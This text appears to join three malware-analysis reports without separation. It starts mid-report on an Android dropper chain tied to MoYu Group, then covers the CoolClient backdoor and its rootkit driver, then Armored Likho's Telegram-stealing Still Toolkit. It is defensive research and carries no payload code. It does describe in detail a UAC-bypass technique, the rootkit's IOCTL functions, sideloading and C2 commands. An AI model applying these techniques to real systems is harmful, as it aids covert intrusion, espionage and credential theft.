As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.
Decrypting and deserializing information about the stage 2 payload
In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.
Stage 2: the loader
This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:
The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.
Decrypting the stage 3 payload
In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.
Entry point of the stage 3 payload
While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.
Stage 3: clicker / reverse proxy loader
In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.
If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.
The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.
List of executable commands
At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.
Command name
Description
Arguments
return
Return a value from SharedPreferences.
key: the key whose value should be returned
copy
Set the contents of the clipboard.
text: the key whose value from SharedPreferences is returned as the clipboard contents url: a link for downloading gzip-compressed data (optional); this data is then concatenated with the value of the text key, with (5 spaces) used as a separator
http
Make a POST/GET HTTP request to a specified resource and, if instructed, save the response in SharedPreferences under a specified key.
url: the resource address method: the HTTP method name (optional) startLabel: a marker for the start of the data to save from the resource (optional) endLabel: a marker for the end of the data to save from the resource (optional) valueLabel: the key under which to save the value (optional) header: a dictionary of headers for the HTTP request (optional) content: the content of the POST request (optional)
web
Open a link in the WebView and execute arbitrary JavaScript code within it.
url: the link to open in the WebView js: base64-encoded JavaScript code to execute in the WebView; used when the url parameter is empty or absent corejs: JavaScript code to execute when the resource loads in the WebView (optional) param: a string dictionary of parameters for launching the WebView client: if this key is present, WebViewClient is used to handle redirects manually time: task timeout
loadlib
Not fully implemented at the time of publishing this report.
–
loadlib2
Download and execute arbitrary code.
url: the address to download the payload from name: the name of the module being downloaded md5: the MD5 hash of the payload clear: a comma-separated list of payload names to delete (optional) params: an array of parameters to launch the payload with className: the class name of the payload entry point method: the name of the virtual method at the payload entry point cmethod: the name of the static method used to instantiate the entry-point class (optional) thread: a flag; the payload runs in a separate thread if this flag is not set reload: a flag that, when set, restarts already loaded modules
loadlib3
Not fully implemented at the time of publishing this report.
–
deeplink
Open a resource in the browser.
url: a link to the resource
traceroute
Check resource availability via an ICMP ping.
host: comma-separated list of resources to check
However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.
While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.
Attribution
While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.
While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.
The malware operator registration page
During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.
We found several similarities in the authentication APIs across all of these sites:
The sign-in page was hosted on an admin.* subdomain.
The sign-in page was located at /proxy/u/login.
The signup page was located at /proxy/register?channelKey=<invitation code>.
Based on this, we believe these services are connected to MoYu Group.
Conclusion
Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.
CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.
Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.
In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.
We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.
Technical analysis
In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).
The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.
When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.
CoolClient components
Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.
Component
Description
defender.exe / Sang.exe
Legitimate Sangfor application abused for DLL sideloading
libsrapc.dll
Benign dependency required for the Sangfor application to execute normally
libngs.dll
First-stage loader that decrypts and loads the next stage into memory (First stage)
loadcert.ini
Encrypted DLL implementing the core CoolClient functionality, including command handling, process injection, driver deployment, and persistence (Second stage)
cert.ini
Final-stage implant responsible for C2 communication and backdoor functionality (Final stage)
time.ini
CoolCleint configuration file
Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.
Overview of the new variant of CoolClient
First stage: libngs.dll
Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.
To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.
Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess
The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.
The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.
Second stage: loadcert.ini (before synchost.exe injection)
The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.
If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.
If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).
Command handler
The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.
Execution is controlled through three command-line parameters:
Parameter
Purpose
install
Performs the initial setup, including persistence, privilege checks, and preparation for the injected execution path.
work
Executes the primary second-stage functionality from the injected synchost.exe process, including driver deployment and third-stage loading.
passuac
Continues execution after privilege elevation.
If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.
Establishing AutoRun persistence
When executed with the install parameter, CoolClient creates an AutoRun entry under:
The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.
Process injection into synchost.exe
Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.
The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.
From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).
Service installation
When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.
Function to check for running 360 Total Security software processes
If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.
The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.
Administrator privilege check
If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.
When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.
Elevated relaunch and UAC bypass
To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.
The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.
Authenticated RPC binding used during the RPC-based UAC bypass
After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.
Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.
Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.
Second stage: loadcert.ini (Injected Execution)
After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.
Kernel-Mode driver deployment
The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.
If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:
Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.
Driver initialization
After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.
IOCTL
Purpose
0x222120
Registers the current CoolClient process with the driver.
0x2221E0
Sends the configured C2 IPv4 address to the driver.
0x2220F0
Registers filesystem and registry paths that should be protected or hidden.
The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.
The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.
Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.
As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.
The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.
Cert.ini process injection
Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.
After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.
This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.
Msagent.sys driver
Analysis of the deployed kernel-mode driver reveals an embedded PDB path:
The path contains several notable strings, including “Nanjing Laboratory” (南京实验室) and “Zhang Xuejie Yunnan m” (张雪杰云南m), which likely refer to the driver’s development environment. However, our OSINT analysis did not identify any information linking these strings to a known organization, developer, or threat actor.
The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.
We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.
Driver configuration
During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.
Registry configuration loaded by the driver during initialization
Two REG_DWORD values control the driver’s operating mode:
Registry Value
Default
Description
Hid_State
1
Enables the driver’s rootkit functionality.
Hid_StealthMode
0
Controls additional stealth features used by selected driver routines.
In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.
Registry Value
Purpose
Wid_H1deF5Dirs
Directories to hide
Wid_H1deF5Files
Files to hide
Wid_H1deRegKeys
Registry keys to hide
Wid_H1deRegValues
Registry values to hide
Hid_IgnoredImages
Processes to ignore
Hid_ProtectedImages
Processes to protect
Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.
These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.
Preparation for process hiding
Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.
The driver validates candidate ActiveProcessLinks layouts before enabling process hiding
Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.
Process, object, and image load callbacks
After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.
These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:
Object callbacks using ObRegisterCallbacks
Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
Image load callbacks using PsSetLoadImageNotifyRoutine
Registration of object, process, and image load callbacks during driver initialization
After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.
Object callbacks
To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.
Process and image load callbacks
The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.
When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.
The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.
To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.
MiniFilter registration
To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.
Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds
The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.
Registry callback registration
To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.
Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000
Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.
Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.
IOCTL command dispatcher
To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.
The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:
0x222120: registers the current CoolClient process with the driver.
0x2221E0: passes the configured C2 IPv4 address.
0x2220F0: registers filesystem and registry paths for protection.
The remaining IOCTL handlers were not invoked by the analyzed sample.
IOCTL
Handler
Functionality
0x222000
0x140001E04
Enable or disable the rootkit.
0x222004
0x1400020B0
Query the current rootkit state.
0x2220F0
0x140002320
● Register protected filesystem or registry paths
● Used by CoolClient to register its installation directory and service registry key.
0x2220F4
0x1400034DC
Remove a protected filesystem or registry path.
0x2220F8
0x140003464
Clear all protected filesystem and registry path entries.
0x222118
0x1400024B0
Register process or path protection entries.
0x22211C
0x140002A20
Query registered protection entries.
0x222120
0x140003794
Update process protection entries. Used by CoolClient to register itself as a trusted process.
0x222124
0x14000362C
Remove a protection entry.
0x222128
0x14000349C
Clear all process protection entries.
0x222130
0x14000265C
Register a protected process by PID.
0x222134
0x140010E88
Inject shellcode into a target process using NtCreateThreadEx.
0x222138
0x14000F498
Hide a kernel module by unlinking it from PsLoadedModuleList.
0x222144
0x14000270C
Delete a file.
0x222148
0x14000286C
Decrypt an embedded buffer and write it to disk.
0x22214C
0x1400027F4
Read and decrypt an encrypted file.
0x222168
0x140002780
Unmap the image section of a target process.
0x22216C
0x140013984
Terminate a process by PID.
0x222194
0x140011F50
Remove Protected Process Light (PPL) protection.
0x222198
0x140002940
Create or modify a registry value.
0x22219C
0x140010630
Hide a process by unlinking it from the active process list.
0x2221A0
0x140010670
Restore a previously hidden process.
0x2221A4
0x14000F8A0
Hide a module within a process.
0x2221A8
0x14000F954
Restore a hidden module.
0x2221AC
0x140016368
Enumerate and restore kernel notification callbacks.
0x2221B0
0x140016458
Disable or restore kernel notification callbacks.
0x2221B4
0x140012408
Manually load a secondary kernel driver.
0x2221B8
0x14001262C
Debug/test handler.
0x2221BC
0x1400165F6
Write to an arbitrary kernel address.
0x2221C0
0x14000BB00, 0x14000BB78
Enables deny-rootkit mode by registering image-load monitoring and enabling the patching logic.
0x2221C4
0x14000BB6C, 0x14000BB10
Disables deny-rootkit mode by clearing state and unregistering/removing the monitoring logic.
0x2221E0
0x1400126C0
Register a C2 IPv4 address.
0x2221E4
0x140012E50
Delete a C2 IPv4 address.
After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.
Kernel module enumeration and hiding
To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.
Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding
This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.
Nsiproxy hooking and data filtering
The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.
To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.
Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine
When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.
Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.
Victimology
The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.
Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.
Attribution
Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.
The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.
Conclusion
The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.
HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.
In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.
We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.
During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.
The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.
In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.
Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.
Background
Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.
Initial infection
The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.
In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.
The login form
After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.
Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.
Still Sync
Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.
Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.
How it works
When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:
STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
STILL_SEND_PATH: the path to the tdata
STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.
Sync also supports several command-line arguments:
--console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
--version: prints version information and exits.
--firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
--db: turns on debug mode with detailed logging.
Example Still Sync logs
Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:
Motherboard serial number
CPU ID
System UUID
BIOS serial number
Computer domain name
The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.
Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.
Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:
enabled: triggers malicious activity on the infected device.
scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.
These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.
